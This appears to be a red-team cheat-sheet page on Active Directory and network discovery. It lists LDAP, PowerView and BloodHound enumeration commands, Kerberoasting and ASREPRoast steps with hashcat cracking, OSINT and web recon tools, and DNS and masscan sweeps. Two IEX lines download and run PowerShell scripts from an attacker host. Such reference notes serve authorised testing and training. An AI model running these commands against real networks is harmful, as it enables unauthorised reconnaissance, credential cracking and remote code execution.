> For the complete documentation index, see [llms.txt](https://burmat.gitbook.io/security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burmat.gitbook.io/security/hacking/domain-exploitation/discovery.md).

# Discovery (TA0007)

The adversary is trying to figure out your environment. https\://attack.mitre.org/tactics/TA0007/

## User Group Membership - T1069.002

{% code overflow="wrap" %}

```powershell
Get-ADPrincipalGroupMembership "USERNAME" | Select name
```

{% endcode %}

## MachineAccountQuota Lookup - T1087.002

{% code overflow="wrap" %}

```powershell
$domain = "burmat.local"
$domainDN = (Get-ADDomain -Identity $domain).DistinguishedName
$addMachineQuota = (Get-ADObject -Identity $domainDN -Properties ms-DS-MachineAccountQuota).'ms-DS-MachineAccountQuota'
Write-Host "Current AddMachineQuota value: $addMachineQuota"
```

{% endcode %}

## AD Enumeration via ADSI `DirectorySearcher` - T1087.002

Use the following to leverage ADSI and PowerShell for LDAP Queries

{% code overflow="wrap" %}

```
$users = ([adsisearcher]"<LDAP QUERY HERE>").FindAll();
```

{% endcode %}

### **Computer/User Objects**

{% code overflow="wrap" %}

```powershell
([adsisearcher]'(&(objectCategory=Computer))').FindAll();
([adsisearcher]'(&(objectCategory=User))').FindAll();
```

{% endcode %}

### **SPNs**

{% code overflow="wrap" %}

```powershell
([adsisearcher]"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))").FindAll();
```

{% endcode %}

Or

{% code overflow="wrap" %}

```powershell
$s = New-Object DirectoryServices.DirectorySearcher([ADSI]"");
$s.PageSize = 2000; 
$s.Filter = "(servicePrincipalName=*)";
$s.FindAll();
```

{% endcode %}

### Unconstrained delegation

{% code overflow="wrap" %}

```powershell
([adsisearcher]"(&(&(objectCategory=person)(objectClass=user)) (!userAccountControl:1.2.840.113556.1.4.803:=524288))").FindAll();
```

{% endcode %}

## Local Administrator Password Solution (LAPS) - T1552.006

Retrieve computers that are not configured with LAPS

{% code overflow="wrap" %}

```powershell
Get-ADComputer -Credential $cred -Server BURMAT.LOCAL -Filter {ms-Mcs-AdmPwd -notlike "*"} | Export-CSV -Path C:\temp\no_laps.csv;
```

{% endcode %}

## BOFHound - T1087.002

You can use[ BOFHound](https://github.com/coffeegist/bofhound) to convert the output from the [BOF `ldapsearch`](https://github.com/trustedsec/CS-Situational-Awareness-BOF) or from [`pyldapsearch`](https://github.com/fortalice/pyldapsearch) to BloodHound-compatible JSON files.

Collection

```sh
pyldapsearch burmat.local/jsmith:Password123 '(objectClass=domain)'
pyldapsearch burmat.local/jsmith:Password123 '(objectClass=computer)'
pyldapsearch burmat.local/jsmith:Password123 '(objectClass=user)'
pyldapsearch burmat.local/jsmith:Password123 '(objectClass=trustedDomain)'
pyldapsearch burmat.local/jsmith:Password123 '(objectClass=organizationalUnit)'
pyldapsearch burmat.local/jsmith:Password123 '(&(objectClass=group)(|(cn=Domain Admins)(cn=Enterprise Admins)(cn=Schema Admins)))'
pyldapsearch burmat.local/jsmith:Password123 '(objectClass=groupPolicyContainer)'
pyldapsearch burmat.local/jsmith:Password123 '(&(objectClass=user)(servicePrincipalName=*))'
```

Conversion

```sh
# bofhound -o output -i /root/.pyldapsearch/logs/

 _____________________________ __    __    ______    __    __   __   __   _______
|   _   /  /  __   / |   ____/|  |  |  |  /  __  \  |  |  |  | |  \ |  | |       \
|  |_)  | |  |  |  | |  |__   |  |__|  | |  |  |  | |  |  |  | |   \|  | |  .--.  |
|   _  <  |  |  |  | |   __|  |   __   | |  |  |  | |  |  |  | |  . `  | |  |  |  |
|  |_)  | |  `--'  | |  |     |  |  |  | |  `--'  | |  `--'  | |  |\   | |  '--'  |
|______/   \______/  |__|     |__|  |___\_\________\_\________\|__| \___\|_________\

                              by Fortalice ✪

[08:49:53] INFO     Located 2 beacon log files
[08:49:56] INFO     Parsed 18146 objects from 2 log files
[08:49:56] INFO     Sorting parsed objects by type...
[08:49:56] INFO     Parsed 4519 Users
[08:49:56] INFO     Parsed 1 Groups
[08:49:56] INFO     Parsed 4390 Computers
[08:49:56] INFO     Parsed 1 Domains
[08:49:56] INFO     Parsed 6 Trust Accounts
[08:49:56] INFO     Parsed 358 OUs
[08:49:56] INFO     Parsed 84 GPOs
[08:49:56] INFO     Parsed 0 Schemas
[08:49:56] INFO     Parsed 0 Unknown Objects
[08:50:29] INFO     Parsed 338257 ACL relationships
[08:50:29] INFO     Created default users
[08:50:29] INFO     Created default groups
[08:50:29] INFO     Resolved group memberships
[08:50:29] INFO     Resolved delegation relationships
[08:50:29] INFO     Resolved OU memberships
[08:50:29] INFO     Linked GPOs to OUs
[08:50:29] INFO     Resolved domain trusts
[08:50:31] INFO     JSON files written to output
```

References:

* <https://github.com/fortalice/pyldapsearch>
* <https://github.com/trustedsec/CS-Situational-Awareness-BOF>
* <https://posts.specterops.io/bofhound-session-integration-7b88b6f18423>
* <https://www.fortalicesolutions.com/posts/granularize-your-active-directory-reconnaissance-game-part-2>

## BloodHound - T1087.002

### Ingester Launch

{% code overflow="wrap" %}

```powershell
IEX(New-Object Net.WebClient).DownloadString('http://10.10.10.123/ps/SharpHound.ps1');
Invoke-BloodHound -CollectionMethod All -CompressData -SkipPing;
```

{% endcode %}

## LDAP Enumeration - T1087.002

### Null Sessions

{% code overflow="wrap" %}

```sh
ldapsearch -x -h 10.10.10.123 -D '' -w '' -b "DC=BURMAT,DC=LOCAL"
```

{% endcode %}

### LDAP Queries

Below are some useful LDAP queries that will help you enumerate a system. Some of them require a valid username/password to get more information. My go-to for these queries is `ldapsearch`. Use the following command and fill in your LDAP query in the placeholder:

{% code overflow="wrap" %}

```bash
ldapsearch -LLL -x -H ldap://burmat.local -D "svc-burmat" -w "burmat123$" -b "dc=burmat,dc=LOCAL" "<LDAP QUERY HERE>"
```

{% endcode %}

#### Domain Usernames

Get usernames into a list by enumerating user objects:

{% code overflow="wrap" %}

```bash
ldapsearch -x -h burmat.local -b "dc=burmat,dc=local" -s sub "(objectclass=user)" | grep sAMAccountName | cut -d " " -f 2 > users.txt
```

{% endcode %}

#### ASREPRoast

{% code overflow="wrap" %}

```powershell
## ldap filter to find accounts susceptible to this:
"(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))"

## generate a list of user accounts and use impacket to exploit:

## and if you get a ticket, you can crack it:
hashcat -m 18200 -a 0 --force user.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

#### Users with SPNs

{% code overflow="wrap" %}

```powershell
"(&(&(servicePrincipalName=*) (UserAccountControl:1.2.840.113556.1.4.803:=512)) (!(UserAccountControl:1.2.840.113556.1.4.803:=2)))"
```

{% endcode %}

If you get valid domain credentials, you can dump them w/ impacket for offline cracking:

{% code overflow="wrap" %}

```sh
GetUserSPNs.py -request burmat.local/svc-burmat:burmat123
```

{% endcode %}

#### User / Computers with Unconstrained Delegation

{% code overflow="wrap" %}

```powershell
# user:
"(&(&(objectCategory=person) (objectClass=user)) (userAccountControl:1.2.840.113556.1.4.803:=524288))"

# computer:
"(&(objectCategory=computer) (objectClass=computer) (userAccountControl:1.2.840.113556.1.4.803:=524288))"
```

{% endcode %}

#### Domain Administrators

{% code overflow="wrap" %}

```powershell
"(&(objectClass=user) (memberof:1.2.840.113556.1.4.1941:=CN=Domain Admins,CN=Users,DC=burmat,DC=local))" "objectClass=groupPolicyContainer"
```

{% endcode %}

## PowerSploit - T1087.002

Use the `dev` branch or [PowerSploit](https://github.com/PowerShellMafia/PowerSploit/tree/dev). For an already incredible cheat sheet, [check out HarmJ0y's](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993).

{% code overflow="wrap" %}

```powershell
IEX(New-Object Net.WebClient).downloadString('http://10.10.10.123/ps/PowerView.ps1')
```

{% endcode %}

### Get Domain Users

{% code overflow="wrap" %}

```powershell
Get-DomainUser * -Domain burmat.local | Select-Object -Property name,samaccountname,description,memberof,whencreated,pwdlastset, lastlogontimestamp,accountexpires,admincount,userprincipalname,serviceprincipalname,mail,useraccountcontrol | Export-CSV users.csv
```

{% endcode %}

### Retrieve Group Members

{% code overflow="wrap" %}

```powershell
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object membername
```

{% endcode %}

### Users Allowed to Delegate

{% code overflow="wrap" %}

```powershell
Get-DomainUser -Credential $cred -Server dc01.burmat.local -Domain burmat.local -AllowDelegation -AdminCount | Export-Csv -Path C:\allowed_to_deleg.csv
```

{% endcode %}

### User Description Gathering

{% code overflow="wrap" %}

```powershell
Get-DomainUser -Credential $cred -Server dc01.burmat.local -Domain burmat.local -Properties SAMAccountName,Description | Select-Object SAMAccountName,Description | Export-CSV -Path C:\user_descriptions.csv
```

{% endcode %}

### Enumerate User DACLs

{% code overflow="wrap" %}

```powershell
Get-DomainObjectAcl -Identity it_admin -ResolveGUIDs ? { $_.SecurityIdentifier -Match $(ConvertTo-SID burmat) }
```

{% endcode %}

### SPN Ticket Request (Kerberoasting)

{% code overflow="wrap" %}

```powershell
Get-DomainUser * -SPN | Get-DomainSPNTicket -OutputFormat Hashcat | Export-Csv .\ticket.csv -NoTypeInformation
```

{% endcode %}

### Domain Controller Discovery

{% code overflow="wrap" %}

```powershell
Get-DomainComputer -Credential $cred -Server dc01.burmat.local -Domain burmat.local -SearchBase "LDAP://OU=Domain Controllers,DC=BURMAT,DC=LOCAL" | Export-Csv -Path C:\domain_controllers.csv
```

{% endcode %}

### Domain Computers

{% code overflow="wrap" %}

```powershell
Get-DomainComputer -Filter * -Server dc01.burmat.local | export-csv -Path C:\temp\domain_computers.csv
```

{% endcode %}

### Unconstrained Delegation (Other than DCs)

{% code overflow="wrap" %}

```powershell
Get-DomainComputer -Credential $cred -Server dc01.burmat.local -Domain burmat.local -Unconstrained | Export-Csv -Path C:\unconstrained_deleg_machines.csv
```

{% endcode %}

### Network Shares Enumeration - T1135

{% code overflow="wrap" %}

```powershell
Find-DomainShare -ComputerName fs01.domain.local -ComputerDomain domain.local -CheckShareAccess
```

{% endcode %}

Authenticated:

{% code overflow="wrap" %}

```powershell
$secpassword = ConvertTo-SecureString 'Password123$' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $secpassword)
Find-DomainShare -Domain dir.svc.accenture.com -Credential $cred
```

{% endcode %}

Looping a list of hostnames:

{% code overflow="wrap" %}

```powershell
foreach ($h in $smb_hosts) {  Find-DomainShare -Credential $cred -computername "$h" -computerdomain burmat.local -server dc1.burmat.local -CheckShareAccess; }
```

{% endcode %}

## theHarvester - T1589

An open-source intelligence (OSINT) gathering tool, that will tap into many difference APIs to gather data for you. GitHub: <https://github.com/laramies/theHarvester> Installation is a PITA. Put your API keys into the api-keys.yaml file in the root of the directory

<details>

<summary>Sample theHarvester API Configuration File</summary>

This goes in `~/.theHarvester/api-keys.yaml` for Kali

```
apikeys:
  bevigil:
    key:
  binaryedge:
    key:
  bing:
    key:
  bufferoverun:
    key:
  censys:
    id:
    secret:
  criminalip:
    key:
  fullhunt:
    key:
  github:
    key:
  hunter:
    key:
  hunterhow:
    key:
  intelx:
    key:
  netlas:
    key:
  onyphe:
    key:
  pentestTools:
    key:
  projectDiscovery:
    key:
  rocketreach:
    key:
  securityTrails:
    key:
  shodan:
    key:
  tomba:
    key:
    secret:
  virustotal:
    key:
  zoomeye:
    key:
```

</details>

### **Email Address Gathering**

Getting a list of email addresses from i[ntelx.io:](http://intelx.io/)

{% code overflow="wrap" %}

```sh
theHarvester.py -d contoso.com -b intelx >> intelx-contoso.com.txt
```

{% endcode %}

If you are doing multiple domains, you can use the following bash one-liner, where `domains.txt` is a list of domain names to search:

{% code overflow="wrap" %}

```bash
while read d; do python3 theHarvester.py -b intelx -d $d -f "th-$d"; sleep 1; done < domains.txt
```

{% endcode %}

Clean up the output to just be emails with the following, if you have problems:

{% code overflow="wrap" %}

```sh
grep -i -o '[A-Z0-9._%+-]\\+@[A-Z0-9.-]\\+\\.[A-Z]\\{2,4\\}' intelx-contoso.com.txt
```

{% endcode %}

## Web Enumeration

### aquatone

Found here: [GitHub - michenriksen/aquatone: A Tool for Domain Flyovers](https://github.com/michenriksen/aquatone)

Basic Usage

{% code overflow="wrap" %}

```bash
cat hosts.txt | aquatone -ports small -out scans/aquatone -threads 10 -screenshot-timeout 50000 -chrome-path /usr/bin/chromium
```

{% endcode %}

Nmap Scan Results

{% code overflow="wrap" %}

```bash
cat nmap/tcp_web.xml | aquatone -nmap -screenshot-timeout 50000 -out scans/aquatone -threads 10 -chrome-path /usr/bin/chromium
```

{% endcode %}

Using a Proxy via Burp

(Assuming Burp is listening to localhost:8080):

* `-proxy http://127.0.0.1:8080`

<details>

<summary>Built-In Port Lists &#x26; Aliases</summary>

\* \`small: 80, 443\` \* \`medium: 80, 443, 8000, 8080, 8443 (same as default)\` \* \`large: 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888\` \* \`xlarge: 80, 81, 300, 443, 591, 593, 832, 981, 1010, 1311, 2082, 2087, 2095, 2096, 2480, 3000, 3128, 3333, 4243, 4567, 4711, 4712, 4993, 5000, 5104, 5108, 5800, 6543, 7000, 7396, 7474, 8000, 8001, 8008, 8014, 8042, 8069, 8080, 8081, 8088, 8090, 8091, 8118, 8123, 8172, 8222, 8243, 8280, 8281, 8333, 8443, 8500, 8834, 8880, 8888, 8983, 9000, 9043, 9060, 9080, 9090, 9091, 9200, 9443, 9800, 9981, 12443, 16080, 18091, 18092, 20720, 28017\`

</details>

### feroxbuster

<https://github.com/epi052/feroxbuster>

{% code overflow="wrap" %}

```
for i in $(cat /root/ept/network/httprobe-subdomains-all.log); do j=`echo $i | awk -F '/' '{print $3}'` && feroxbuster -k -u $i -d 3 -o $j -t 10 -C 404,403,429 -a 'Mozilla/5.0 (compatible; MSIE 9.0; Windows; U; Windows NT 6.0; x64; en-US Trident/5.0)' -w /opt/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt --thorough -x js | tee -i feroxbuster.output; done
```

{% endcode %}

### Sonar

<https://github.com/Cgboal/SonarSearch>

{% code overflow="wrap" %}

```
go get github.com/cgboal/sonarsearch/cmd/crobat
```

{% endcode %}

Run the following to find domains associated to your scope, and extract the root-level domains for (potentially) additional scope:

* `for i in $(cat scope.txt); do crobat -r $i >> crobat_out.txt; done`

Once you have a list root-level domains, use the results to find additional subdomains:

* `cat crobat_out.txt | assetfinder -subs-only`

Quering the data from the dataset yourself (watch your storage space):

<https://opendata.rapid7.com/sonar.fdns_v2/>

You’ll wanna pull the most recent copy of the data, so ensure you update the following accordingly:

```
wget https://opendata.rapid7.com/sonar.fdns_v2/2021-06-27-1624784903-fdns_ns.json.gz
gunzip 2021-06-27-1624784903-fdns_ns.json.gz
cat 2021-01-30-1611965078-fdns_a.json | grep ".DOMAIN.com" | jq .name | tr '" " "' " / " | tee -a sonar
```

Using these commands, you should be able to pull out a lot of relevant domain names.

### EyeWitness

[EyeWitness](https://github.com/RedSiege/EyeWitness) is designed to take screenshots of websites provide some server header info, and identify default credentials if known.

Basic usage with Nmap results:

`EyeWitness.py --web -x /root/port443.xml -d /root/output --no-prompt --jitter 3 --threads 3`

You can drive it with a Nessus scan result too:

`EyeWitness.py --web -x ~/NessusExport.xml`

## Network Discovery - T1046

### Shodan

See here: [Shodan](/security/hacking/tools-and-services/shodan.md)

### SPF/DMARC/DKIM

```sh
## SPF record:
nslookup -type=txt contoso.com

## DKIM lookup (this is a guess):
nslookup -type=txt s1._domainkey.contoso.com

# for Microsoft 365, you can pull the selector from an email header, but it will USUALLY follow this format (try both!!):
nslookup -type=txt selector1-burmatco-onmicrosoft-com._domainkey.burmatco.onmicrosoft.com
nslookup -type=txt selector2-burmatco-onmicrosoft-com._domainkey.burmatco.onmicrosoft.com

## DMARC lookup:
nslookup -type=txt _dmarc.contoso.com
```

### DNS Zone Transfer

#### Windows

```bash
PS C> nslookup
Default Server:  dns.adprod.directory
Address:  10.1.14.52

> server 10.1.11.52
Default Server:  dc01.adprod.directory
Address:  10.1.11.52

> ls -d adprod.directory
[dc01.adprod.directory]
..SNIP..
```

#### Linux

```sh
dig axfr <DOMAIN_NAME_TO_TRANSFER> @<DNS_SYSTEM_IP>
# or
host -t axfr -l <DOMAIN_NAME_TO_TRANSFER> <DNS_SYSTEM_IP>
```

### ARP

```
arp -a -n
```

### masscan

This will do a ping sweep, then check for the following ports

```
masscan -iL ranges.txt -oG live --open-only --ping -p 80,443,445,22,3389 --rate=500
```

Use the `sed`commands after putting your IP ranges into a text file:

```bash
masscan -c ./ranges.txt --ping --open-only -p 21,22,23,25,53,80,443,445,1433,3389,8080,8443 -oG discovery/live.txt --rate 300
sed -i.bak 's/^/ranges = /' discovery/Final_live.txt
```

* Note: make sure your `ranges.txt` file is in the following format: `range = 192.168.0.0/16` with line breaks
